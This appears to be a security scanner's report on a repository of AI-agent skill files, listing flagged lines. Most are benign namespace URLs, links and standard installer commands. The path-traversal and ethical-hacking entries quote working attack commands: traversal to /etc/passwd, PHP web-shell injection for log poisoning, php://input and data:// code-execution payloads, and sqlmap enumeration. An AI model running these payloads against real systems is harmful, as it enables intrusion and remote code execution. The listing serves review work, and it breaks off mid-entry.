    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:w12="http://schemas.openxmlformats.org/wordprocessingml/2006/main" elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all" xmlns="http://schemas.micr
  • Network accessline 2
    <xsd:import id="w12" namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main" schemaLocation="../ISO-IEC29500-4_2016/wml.xsd"/>

skills/docx-official/ooxml/scripts/pack.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/docx-official/ooxml/scripts/unpack.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/docx-official/ooxml/scripts/validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/docx-official/ooxml/scripts/validation/__init__.py

  • Executable scriptline 1
    Executable file

skills/docx-official/ooxml/scripts/validation/base.py

  • Executable scriptline 1
    Executable file
  • Network accessline 70
    MC_NAMESPACE = "http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 71
    XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace"
  • Network accessline 74
    PACKAGE_RELATIONSHIPS_NAMESPACE = (         "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 75
    "http://schemas.openxmlformats.org/package/2006/relationships"
  • Network accessline 76
    )     OFFICE_RELATIONSHIPS_NAMESPACE = (         "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 77
    OFFICE_RELATIONSHIPS_NAMESPACE = (         "http://schemas.openxmlformats.org/officeDocument/2006/relationships"     )
  • Network accessline 78
    "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 79
    )     CONTENT_TYPES_NAMESPACE = (         "http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 80
    CONTENT_TYPES_NAMESPACE = (         "http://schemas.openxmlformats.org/package/2006/content-types"     )
  • Network accessline 81
    "http://schemas.openxmlformats.org/package/2006/content-types"
  • Network accessline 88
    OOXML_NAMESPACES = {         "http://schemas.openxmlformats.org/officeDocument/2006/math",
  • Network accessline 89
    "http://schemas.openxmlformats.org/officeDocument/2006/math",
  • Network accessline 90
    "http://schemas.openxmlformats.org/officeDocument/2006/relationships",
  • Network accessline 91
    "http://schemas.openxmlformats.org/schemaLibrary/2006/main",
  • Network accessline 92
    "http://schemas.openxmlformats.org/drawingml/2006/main",
  • Network accessline 93
    "http://schemas.openxmlformats.org/drawingml/2006/chart",
  • Network accessline 94
    "http://schemas.openxmlformats.org/drawingml/2006/chartDrawing",
  • Network accessline 95
    "http://schemas.openxmlformats.org/drawingml/2006/diagram",
  • Network accessline 96
    "http://schemas.openxmlformats.org/drawingml/2006/picture",
  • Network accessline 97
    "http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing",
  • Network accessline 98
    "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
  • Network accessline 99
    "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
  • Network accessline 100
    "http://schemas.openxmlformats.org/presentationml/2006/main",
  • Network accessline 101
    "http://schemas.openxmlformats.org/spreadsheetml/2006/main",
  • Network accessline 102
    "http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes",
  • Network accessline 103
    "http://www.w3.org/XML/1998/namespace",

skills/docx-official/ooxml/scripts/validation/docx.py

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    WORD_2006_NAMESPACE = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"

skills/docx-official/ooxml/scripts/validation/pptx.py

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    PRESENTATIONML_NAMESPACE = (         "http://schemas.openxmlformats.org/presentationml/2006/main"
  • Network accessline 15
    "http://schemas.openxmlformats.org/presentationml/2006/main"

skills/docx-official/ooxml/scripts/validation/redlining.py

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    self.verbose = verbose         self.namespaces = {             "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 18
    self.namespaces = {             "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"         }
  • Network accessline 19
    "w": "http://schemas.openxmlformats.org/wordprocessingml/2006/main"

skills/docx-official/scripts/__init__.py

  • Executable scriptline 1
    Executable file

skills/docx-official/scripts/document.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 93
    root.setAttribute(  # type: ignore                 "xmlns:w16du",                 "http://schemas.microsoft.com/office/word/2023/wordml/word16du",
  • Network accessline 94
    "xmlns:w16du",                 "http://schemas.microsoft.com/office/word/2023/wordml/word16du",             )
  • Network accessline 95
    "http://schemas.microsoft.com/office/word/2023/wordml/word16du",
  • Network accessline 102
    root.setAttribute(  # type: ignore                 "xmlns:w16cex",                 "http://schemas.microsoft.com/office/word/2018/wordml/cex",
  • Network accessline 103
    "xmlns:w16cex",                 "http://schemas.microsoft.com/office/word/2018/wordml/cex",             )
  • Network accessline 104
    "http://schemas.microsoft.com/office/word/2018/wordml/cex",
  • Network accessline 111
    root.setAttribute(  # type: ignore                 "xmlns:w14",                 "http://schemas.microsoft.com/office/word/2010/wordml",
  • Network accessline 112
    "xmlns:w14",                 "http://schemas.microsoft.com/office/word/2010/wordml",             )
  • Network accessline 113
    "http://schemas.microsoft.com/office/word/2010/wordml",
  • Network accessline 445
    wrapper = f'<root xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">{xml_content}</root>'
  • Network accessline 985
    rel_xml = f'<{prefix}Relationship Id="{next_rid}" Type="http://schemas.microsoft.com/office/2011/relationships/people" Target="people.xml"/>'
  • Network accessline 1217
    (                 next_rid_num,                 "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments",
  • Network accessline 1218
    next_rid_num,                 "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments",                 "comments.xml",
  • Network accessline 1219
    "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments",
  • Network accessline 1222
    (                 next_rid_num + 1,                 "http://schemas.microsoft.com/office/2011/relationships/commentsExtended",
  • Network accessline 1223
    next_rid_num + 1,                 "http://schemas.microsoft.com/office/2011/relationships/commentsExtended",                 "commentsExtended.xml",
  • Network accessline 1224
    "http://schemas.microsoft.com/office/2011/relationships/commentsExtended",
  • Network accessline 1227
    (                 next_rid_num + 2,                 "http://schemas.microsoft.com/office/2016/09/relationships/commentsIds",
  • Network accessline 1228
    next_rid_num + 2,                 "http://schemas.microsoft.com/office/2016/09/relationships/commentsIds",                 "commentsIds.xml",
  • Network accessline 1229
    "http://schemas.microsoft.com/office/2016/09/relationships/commentsIds",
  • Network accessline 1232
    (                 next_rid_num + 3,                 "http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible",
  • Network accessline 1233
    next_rid_num + 3,                 "http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible",                 "commentsExtensible.xml",
  • Network accessline 1234
    "http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible",

skills/docx-official/scripts/templates/comments.xml

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:comments xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas
  • Network accessline 2
    <w:comments xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx

skills/docx-official/scripts/templates/commentsExtended.xml

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w15:commentsEx xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://sch
  • Network accessline 2
    <w15:commentsEx xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmln

skills/docx-official/scripts/templates/commentsExtensible.xml

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w16cex:commentsExtensible xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1=
  • Network accessline 2
    <w16cex:commentsExtensible xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/ch

skills/docx-official/scripts/templates/commentsIds.xml

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w16cid:commentsIds xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http:/
  • Network accessline 2
    <w16cid:commentsIds xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" 

skills/docx-official/scripts/templates/people.xml

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w15:people xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml">
  • Network accessline 2
    <w15:people xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml">

skills/docx-official/scripts/utilities.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/dotnet-backend/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Bash

skills/dropbox-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/e2e-testing-patterns/resources/implementation-playbook.md

  • Network accessline 63
    ],     use: {         baseURL: 'http://localhost:3000',
  • Network accessline 64
    use: {         baseURL: 'http://localhost:3000',         trace: 'on-first-retry',
  • Network accessline 65
    baseURL: 'http://localhost:3000',
  • Network accessline 287
    export default defineConfig({     e2e: {         baseUrl: 'http://localhost:3000',
  • Network accessline 288
    e2e: {         baseUrl: 'http://localhost:3000',         viewportWidth: 1280,
  • Network accessline 289
    baseUrl: 'http://localhost:3000',

skills/embedding-strategies/SKILL.md

  • Network accessline 491
    - [OpenAI Embeddings](https://platform.openai.com/docs/guides/embeddings)
  • Network accessline 492
    - [Sentence Transformers](https://www.sbert.net/)
  • Network accessline 493
    - [MTEB Benchmark](https://huggingface.co/spaces/mteb/leaderboard)

skills/employment-contract-templates/resources/implementation-playbook.md

  • Network accessline 490
    - [SHRM Employment Templates](https://www.shrm.org/)
  • Network accessline 491
    - [Department of Labor](https://www.dol.gov/)
  • Network accessline 492
    - [EEOC Guidance](https://www.eeoc.gov/)

skills/environment-setup-guide/SKILL.md

  • Network accessline 83
    \`\`\`bash # Install Homebrew if not installed /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Dangerous shell operationline 85
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 85
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Dangerous shell operationline 94
    sudo apt update
  • Network accessline 96
    # Install Node.js and npm curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
  • Dangerous shell operationline 97
    curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
  • Network accessline 97
    curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
  • Dangerous shell operationline 98
    sudo apt install -y nodejs
  • Network accessline 102
    \`\`\`powershell # Install Chocolatey if not installed Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object Sys
  • Network accessline 104
    Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.ch
  • Network accessline 119
    \`\`\`bash # Clone the repository git clone https://github.com/your-repo/project.git
  • Network accessline 120
    # Clone the repository git clone https://github.com/your-repo/project.git cd project
  • Network accessline 121
    git clone https://github.com/your-repo/project.git
  • Access to secretsline 133
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Network accessline 153
    # Should see: Server running on http://localhost:3000
  • Dangerous shell operationline 185
    sudo apt update
  • Dangerous shell operationline 186
    sudo apt install python3.11 python3.11-venv python3-pip
  • Network accessline 244
    # Should see: Running on http://127.0.0.1:5000
  • Network accessline 262
    \`\`\`bash # Install Docker curl -fsSL https://get.docker.com -o get-docker.sh
  • Network accessline 263
    # Install Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh
  • Network accessline 264
    curl -fsSL https://get.docker.com -o get-docker.sh
  • Dangerous shell operationline 265
    sudo sh get-docker.sh
  • Dangerous shell operationline 268
    sudo usermod -aG docker $USER
  • Dangerous shell operationline 419
    sudo systemctl status postgresql
  • Access to secretsline 445
    [Credential-related source omitted]
  • Access to secretsline 446
    [Credential-related source omitted]
  • Access to secretsline 447
    [Credential-related source omitted]
  • Access to secretsline 448
    [Credential-related source omitted]
  • Network accessline 471
    - [Node.js Installation Guide](https://nodejs.org/en/download/)
  • Network accessline 472
    - [Python Virtual Environments](https://docs.python.org/3/tutorial/venv.html)
  • Network accessline 473
    - [Docker Documentation](https://docs.docker.com/get-started/)
  • Network accessline 474
    - [Homebrew (macOS)](https://brew.sh/)
  • Network accessline 475
    - [Chocolatey (Windows)](https://chocolatey.org/)
  • Network accessline 476
    - [nvm (Node Version Manager)](https://github.com/nvm-sh/nvm)
  • Network accessline 477
    - [pyenv (Python Version Manager)](https://github.com/pyenv/pyenv)

skills/error-debugging-error-analysis/resources/implementation-playbook.md

  • Network accessline 701
    // Usage const result = await retryWithBackoff(   () => fetch('https://api.example.com/data'),
  • Network accessline 702
    const result = await retryWithBackoff(   () => fetch('https://api.example.com/data'),   {
  • Network accessline 703
    () => fetch('https://api.example.com/data'),
  • Network accessline 946
    Runbook: https://wiki.company.com/runbooks/payment-errors
  • Network accessline 984
    Dashboard: https://app.datadoghq.com/dashboard/payment-service
  • Network accessline 1101
    Updates: Will provide update every 15 minutes Status Page: https://status.company.com/incident/abc123
  • Network accessline 1102
    Status Page: https://status.company.com/incident/abc123

skills/error-debugging-error-trace/resources/implementation-playbook.md

  • Access to secretsline 364
    [Credential-related source omitted]
  • Network accessline 404
    private async sendEvents(events: ErrorEvent[]) {         const response = await fetch(this.config.endpoint, {
  • Network accessline 405
    const response = await fetch(this.config.endpoint, {
  • Network accessline 735
    # Send to Slack         async with aiohttp.ClientSession() as session:
  • Network accessline 736
    async with aiohttp.ClientSession() as session:

skills/error-diagnostics-error-analysis/resources/implementation-playbook.md

  • Network accessline 701
    // Usage const result = await retryWithBackoff(   () => fetch('https://api.example.com/data'),
  • Network accessline 702
    const result = await retryWithBackoff(   () => fetch('https://api.example.com/data'),   {
  • Network accessline 703
    () => fetch('https://api.example.com/data'),
  • Network accessline 946
    Runbook: https://wiki.company.com/runbooks/payment-errors
  • Network accessline 984
    Dashboard: https://app.datadoghq.com/dashboard/payment-service
  • Network accessline 1101
    Updates: Will provide update every 15 minutes Status Page: https://status.company.com/incident/abc123
  • Network accessline 1102
    Status Page: https://status.company.com/incident/abc123

skills/error-diagnostics-error-trace/resources/implementation-playbook.md

  • Access to secretsline 374
    [Credential-related source omitted]
  • Network accessline 414
    private async sendEvents(events: ErrorEvent[]) {         const response = await fetch(this.config.endpoint, {
  • Network accessline 415
    const response = await fetch(this.config.endpoint, {
  • Network accessline 745
    # Send to Slack         async with aiohttp.ClientSession() as session:
  • Network accessline 746
    async with aiohttp.ClientSession() as session:

skills/error-handling-patterns/resources/implementation-playbook.md

  • Network accessline 144
    @retry(max_attempts=3, exceptions=(NetworkError,)) def fetch_data(url: str) -> dict:     response = requests.get(url, timeout=5)
  • Network accessline 145
    def fetch_data(url: str) -> dict:     response = requests.get(url, timeout=5)     response.raise_for_status()
  • Network accessline 146
    response = requests.get(url, timeout=5)
  • Network accessline 260
    // Promise error handling function fetchData(url: string): Promise<Data> {     return fetch(url)
  • Network accessline 261
    function fetchData(url: string): Promise<Data> {     return fetch(url)         .then(response => {
  • Network accessline 262
    return fetch(url)

skills/ethical-hacking-methodology/SKILL.md

  • Network accessline 190
    # Nikto web scanner nikto -h http://target.com
  • Network accessline 191
    nikto -h http://target.com
  • Network accessline 214
    # Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 215
    gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 262
    # SQLMap for SQL injection sqlmap -u "http://target.com/page.php?id=1" --dbs
  • Network accessline 263
    sqlmap -u "http://target.com/page.php?id=1" --dbs
  • Network accessline 264
    sqlmap -u "http://target.com/page.php?id=1" -D database --tables
  • Access to secretsline 284
    [Credential-related source omitted]
  • Dangerous shell operationline 303
    # Check sudo permissions
  • Dangerous shell operationline 304
    sudo -l

skills/evaluation/SKILL.md

  • Network accessline 2
    name: evaluation description: "Build evaluation frameworks for agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation"
  • Network accessline 3
    description: "Build evaluation frameworks for agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/evaluation"

skills/event-store-design/SKILL.md

  • Network accessline 209
    """Read events from a stream."""         async with self.pool.acquire() as conn:             rows = await conn.fetch(
  • Network accessline 210
    async with self.pool.acquire() as conn:             rows = await conn.fetch(                 """
  • Network accessline 211
    rows = await conn.fetch(
  • Network accessline 229
    """Read all events globally."""         async with self.pool.acquire() as conn:             rows = await conn.fetch(
  • Network accessline 230
    async with self.pool.acquire() as conn:             rows = await conn.fetch(                 """
  • Network accessline 231
    rows = await conn.fetch(
  • Network accessline 449
    - [EventStoreDB](https://www.eventstore.com/)
  • Network accessline 450
    - [Marten Events](https://martendb.io/events/)
  • Network accessline 451
    - [Event Sourcing Pattern](https://docs.microsoft.com/en-us/azure/architecture/patterns/event-sourcing)

skills/exa-search/SKILL.md

  • Network accessline 28
    ## Examples See [GitHub Repository](https://github.com/BenedictKing/exa-search) for examples.
  • Network accessline 29
    See [GitHub Repository](https://github.com/BenedictKing/exa-search) for examples.

skills/expo-deployment/SKILL.md

  • Network accessline 2
    name: expo-deployment description: "Deploy Expo apps to production" source: "https://github.com/expo/skills/tree/main/plugins/expo-deployment"
  • Network accessline 3
    description: "Deploy Expo apps to production" source: "https://github.com/expo/skills/tree/main/plugins/expo-deployment" risk: safe
  • Network accessline 4
    source: "https://github.com/expo/skills/tree/main/plugins/expo-deployment"
  • Network accessline 72
    For more information, see the [source repository](https://github.com/expo/skills/tree/main/plugins/expo-deployment).

skills/fal-audio/SKILL.md

  • Network accessline 2
    name: fal-audio description: "Text-to-speech and speech-to-text using fal.ai audio models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md"
  • Network accessline 3
    description: "Text-to-speech and speech-to-text using fal.ai audio models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-audio/SKILL.md).

skills/fal-generate/SKILL.md

  • Network accessline 2
    name: fal-generate description: "Generate images and videos using fal.ai AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md"
  • Network accessline 3
    description: "Generate images and videos using fal.ai AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-generate/SKILL.md).

skills/fal-image-edit/SKILL.md

  • Network accessline 2
    name: fal-image-edit description: "AI-powered image editing with style transfer and object removal" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md"
  • Network accessline 3
    description: "AI-powered image editing with style transfer and object removal" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-image-edit/SKILL.md).

skills/fal-platform/SKILL.md

  • Network accessline 2
    name: fal-platform description: "Platform APIs for model management, pricing, and usage tracking" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md"
  • Network accessline 3
    description: "Platform APIs for model management, pricing, and usage tracking" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-platform/SKILL.md).

skills/fal-upscale/SKILL.md

  • Network accessline 2
    name: fal-upscale description: "Upscale and enhance image and video resolution using AI" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md"
  • Network accessline 3
    description: "Upscale and enhance image and video resolution using AI" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-upscale/SKILL.md).

skills/fal-workflow/SKILL.md

  • Network accessline 2
    name: fal-workflow description: "Generate workflow JSON files for chaining AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md"
  • Network accessline 3
    description: "Generate workflow JSON files for chaining AI models" source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md" risk: safe
  • Network accessline 4
    source: "https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/fal-ai-community/skills/blob/main/skills/claude.ai/fal-workflow/SKILL.md).

skills/fastapi-templates/resources/implementation-playbook.md

  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 420
    [Credential-related source omitted]
  • Network accessline 519
    async with AsyncClient(app=app, base_url="http://test") as client:

skills/ffuf-claude-skill/SKILL.md

  • Network accessline 2
    name: ffuf-claude-skill description: "Web fuzzing with ffuf" source: "https://github.com/jthack/ffuf_claude_skill"
  • Network accessline 3
    description: "Web fuzzing with ffuf" source: "https://github.com/jthack/ffuf_claude_skill" risk: safe
  • Network accessline 4
    source: "https://github.com/jthack/ffuf_claude_skill"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/jthack/ffuf_claude_skill).

skills/figma-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/file-path-traversal/SKILL.md

  • Network accessline 20
    - Web browser with developer tools - Burp Suite or OWASP ZAP - cURL for testing payloads
  • Network accessline 21
    - Burp Suite or OWASP ZAP - cURL for testing payloads - Wordlists for automation
  • Network accessline 22
    - cURL for testing payloads
  • Network accessline 117
    # Test payloads with curl curl "http://target.com/image?filename=../../../etc/passwd"
  • Network accessline 118
    curl "http://target.com/image?filename=../../../etc/passwd"
  • Network accessline 119
    curl "http://target.com/download?file=....//....//....//etc/passwd"
  • Access to secretsline 216
    [Credential-related source omitted]
  • Network accessline 290
    # Basic traversal fuzzing ffuf -u "http://target.com/image?filename=FUZZ" \
  • Network accessline 291
    ffuf -u "http://target.com/image?filename=FUZZ" \
  • Network accessline 295
    # Fuzzing with encoding ffuf -u "http://target.com/page?file=FUZZ" \
  • Network accessline 296
    ffuf -u "http://target.com/page?file=FUZZ" \
  • Network accessline 305
    wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt        --hc 404        "http://target.com/index.php?file=FUZZ"
  • Network accessline 307
    "http://target.com/index.php?file=FUZZ"
  • Network accessline 310
    wfuzz -c -z file,traversal.txt        -H "Cookie: session=abc123"        "http://target.com/load?path=FUZZ"
  • Network accessline 312
    "http://target.com/load?path=FUZZ"
  • Network accessline 320
    # Inject PHP code into logs curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
  • Network accessline 321
    curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
  • Network accessline 323
    # Include Apache log file curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
  • Network accessline 324
    curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
  • Network accessline 326
    # Include auth.log (SSH) # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
  • Network accessline 328
    curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
  • Network accessline 334
    # Inject via User-Agent curl -A "<?php system('id'); ?>" \
  • Network accessline 335
    curl -A "<?php system('id'); ?>" \
  • Network accessline 336
    "http://target.com/page?file=/proc/self/environ"
  • Network accessline 338
    # With command parameter curl -A "<?php system(\$_GET['c']); ?>" \
  • Network accessline 339
    curl -A "<?php system(\$_GET['c']); ?>" \
  • Network accessline 340
    "http://target.com/page?file=/proc/self/environ&c=whoami"
  • Network accessline 346
    # php://filter - Read source code as base64 curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
  • Network accessline 347
    curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
  • Network accessline 349
    # php://input - Execute POST data as PHP curl -X POST -d "<?php system('id'); ?>" \
  • Network accessline 350
    curl -X POST -d "<?php system('id'); ?>" \
  • Network accessline 351
    "http://target.com/page?file=php://input"
  • Network accessline 353
    # data:// - Execute inline PHP curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
  • Network accessline 354
    curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
  • Network accessline 356
    # expect:// - Execute system commands curl "http://target.com/page?file=expect://id"
  • Network accessline 357
    curl "http://target.com/page?file=expect://id"

skills/find-bugs/SKILL.md

  • Network accessline 2
    name: find-bugs description: "Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch." source: "https://github.
  • Network accessline 3
    description: "Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch." source: "https://github.com/getsentry/sk
  • Network accessline 4
    source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/find-bugs"

skills/firecrawl-scraper/SKILL.md

  • Network accessline 29
    ## Examples See [GitHub Repository](https://github.com/BenedictKing/firecrawl-scraper) for examples.
  • Network accessline 30
    See [GitHub Repository](https://github.com/BenedictKing/firecrawl-scraper) for examples.

skills/firmware-analyst/SKILL.md

  • Network accessline 14
    # Download from vendor wget http://vendor.com/firmware/update.bin
  • Network accessline 15
    wget http://vendor.com/firmware/update.bin
  • Access to secretsline 114
    [Credential-related source omitted]
  • Dangerous shell operationline 233
    sudo chroot squashfs-root /usr/bin/qemu-arm-static /bin/sh
  • Dangerous shell operationline 236
    sudo chroot squashfs-root /usr/bin/qemu-arm-static /bin/httpd

skills/fix-review/SKILL.md

  • Network accessline 2
    name: fix-review description: "Verify fix commits address audit findings without new bugs" source: "https://github.com/trailofbits/skills/tree/main/plugins/fix-review"
  • Network accessline 3
    description: "Verify fix commits address audit findings without new bugs" source: "https://github.com/trailofbits/skills/tree/main/plugins/fix-review" risk: safe
  • Network accessline 4
    source: "https://github.com/trailofbits/skills/tree/main/plugins/fix-review"
  • Network accessline 53
    For more information, see the [source repository](https://github.com/trailofbits/skills/tree/main/plugins/fix-review).

skills/flutter-expert/SKILL.md

  • Access to secretsline 139
    [Credential-related source omitted]

skills/fp-ts-errors/SKILL.md

  • Network accessline 3
    description: "Handle errors as values using fp-ts Either and TaskEither for cleaner, more predictable TypeScript code. Use when implementing error handling patterns with fp-ts." risk: safe source: https://github.com/whatiskadudoing/fp-ts-sk
  • Network accessline 4
    risk: safe source: https://github.com/whatiskadudoing/fp-ts-skills ---
  • Network accessline 5
    source: https://github.com/whatiskadudoing/fp-ts-skills
  • Network accessline 415
    const fetchUser = (id: string): TE.TaskEither<Error, User> =>   TE.tryCatch(     () => fetch(`/api/users/${id}`).then(r => r.json()),
  • Network accessline 416
    TE.tryCatch(     () => fetch(`/api/users/${id}`).then(r => r.json()),     (e) => (e instanceof Error ? e : new Error(String(e)))
  • Network accessline 417
